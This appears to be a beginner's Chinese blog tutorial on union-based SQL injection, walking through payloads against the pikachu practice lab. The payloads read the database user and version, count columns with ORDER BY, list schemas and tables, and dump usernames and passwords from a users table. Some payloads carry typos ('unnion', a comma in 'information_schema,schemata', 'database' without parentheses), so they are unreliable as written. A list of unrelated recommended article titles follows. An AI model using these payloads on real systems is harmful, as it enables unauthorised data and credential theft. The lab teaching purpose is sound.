【新手初学】读取数据库数据

利用注入点让SQL注入语句执行读取数据库数据相关的操作!

以下均以pikachu 靶场的字符型注入为例进行介绍说明

一、读取用户名,数据库版本信息

在原URL后面添加如下代码:

sql 复制代码
   ' union select user(),version()--+

效果:

补充:判断查询的字段个数order by

这时,就需要在相应环境下进行测试判断:主要是使用order by来判断

在后面添加1,2,3,4,5,6....进行测试,直到不再报错 !就判断出了其查询字段个数

如下:

二、读取mysql所有库名

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(schema_name) from information_schema,schemata+--+

效果:

三、读取pikachu库的所有表名

在原URL后面添加如下语句:

sql 复制代码
'unnion select 1,group_concat(table_name) from information_schema.tables where table_schema=database+--+

效果:

四、读取所有字段数据

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users+--+

效果:

相关推荐
AI浩20 小时前
【Labelme数据操作】LabelMe标注批量复制工具 - 完整教程
运维·服务器·前端
涔溪20 小时前
CSS 网格布局(Grid Layout)核心概念、基础语法、常用属性、实战示例和进阶技巧全面讲解
前端·css
安审若无20 小时前
oracel迁移数据文件至其他目录操作步骤
数据库
2401_8784545320 小时前
浏览器工作原理
前端·javascript
sunxunyong20 小时前
doris运维命令
java·运维·数据库
西陵21 小时前
为什么说 AI 赋能前端开发,已经不是选择题,而是必然趋势?
前端·架构·ai编程
小鸡吃米…21 小时前
Python PyQt6教程七-控件
数据库·python
忍冬行者21 小时前
清理三主三从redis集群的过期key和键值超过10M的key
数据库·redis·缓存
TimberWill21 小时前
使用Redis队列优化内存队列
数据库·redis·缓存
by__csdn1 天前
Vue3 setup()函数终极攻略:从入门到精通
开发语言·前端·javascript·vue.js·性能优化·typescript·ecmascript